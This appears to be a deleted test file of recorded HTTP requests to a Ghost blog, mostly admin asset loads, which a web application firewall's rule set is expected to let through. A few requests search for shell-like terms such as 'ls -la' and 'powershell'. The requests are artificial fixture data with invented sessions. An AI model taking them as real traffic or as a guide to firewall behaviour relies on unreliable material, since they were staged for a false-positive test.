{"method": "GET", "target": "/alice?q=ls+-la&tab=repositories&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice?tab=repositories", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme?q=ls+-la&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme?q=powershell&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme?q=.htaccess&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
-762
View File
@@ -1,762 +0,0 @@
# Ordinary Ghost 6.76.0 requests that the Core Rule Set must let through at the
# defaults and while bodies are read. They were recorded from a Ghost driven by
# a headless Chrome, signed out, as a member and in the admin, and by curl on
# the Content API and the Admin API. Each line is one request as JSON. Names,
# addresses, passwords and keys are invented. The browser's User-Agent is an
# ordinary Chrome's. A body or a multipart part that is not text is written as
# base64.
{"method": "GET", "target": "/ghost/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/index-BiSgg_Os.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/react-DFHZ-wBR.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/react-dom-SnO3ZWom.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/jsx-runtime-C_PdNFfk.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/framework-provider-DCOh-eaQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/hooks-CBIG5v-t.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/src-CoPg2ZdF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/update-queries-1CGdpz7p.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/users-B0PWKMfp.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/members-DttKKvqe.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/settings-CSTDfrUo.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-tinybird-token-CzoVNSUR.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-tinybird-query-CluOFAVL.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/config-xRSk2505.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/preload-helper-DSa19gJg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/index-C3xC5ZJE.css", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/chunk-6KYCQHYJ-KAiPDQaV.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/shade-context-I3ZE4fr1.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/types-tDCnhhI9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/stack-Cw1NkXQD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/router-provider-Ck_ALVt2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/inline-cOcQBh0m.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/text-Bh3jlIZm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/lazy-component-B6EO-LGC.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-feature-flag-B2AxquJq.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/schemas-CktAcdb3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-BML9cxFI.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-D3v6eoke.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/es2015-LSK0Wp3H.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-DItC4Fk2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-D9kRdzHX.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-6DqAnDJT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/tooltip-DkgXrCfH.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-C43r8Yet.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/button-rpPCYpff.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/accordion-D5n73vMe.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/a-large-small-t76h0K2a.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/activity-DF_5iIbe.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/power-Dm59e8zN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/archive-C7eG93IF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/arrow-down-CyS8-WaT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/arrow-left-BO9d1zfd.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/arrow-right-left-RUZQQxLM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/arrow-right-DS949Nuj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/star-off-CTupjXjv.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/arrow-up-right-B1Aj0Uhl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/arrow-up-DgXkz7LS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/at-sign-C4B0lVaG.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/badge-check-VTMH985H.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/ban-Dcu1gwnk.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/waypoints-q7i1re5i.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/file-pen-CDIBdMvj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/underline-iyhoxAXr.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/book-open-0h559276.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/rocket-CA4Xy7UD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/ticket-DZPWSm3H.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/panel-right-DSxQPvgK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/list-filter-plus-DfUqgJ8X.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/chart-no-axes-column-BrpLYwIe.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/check-BiQqsmBo.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/chevron-left-wJGECQn7.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/chevron-right-vFyqDRE3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/chevron-up-Ca2VI5ye.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/circle-alert-C1QHFpHs.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/info-BifJoFuF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/circle-x-C1RC-lFT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/circle-question-mark-Cgm_Ty1J.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/mail-minus-BkihFWcb.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/circle-fxmCMRvb.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/clock-B9ZlYmYW.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/settings-C6dh2TtS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/cloud-off-DOHpaTme.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
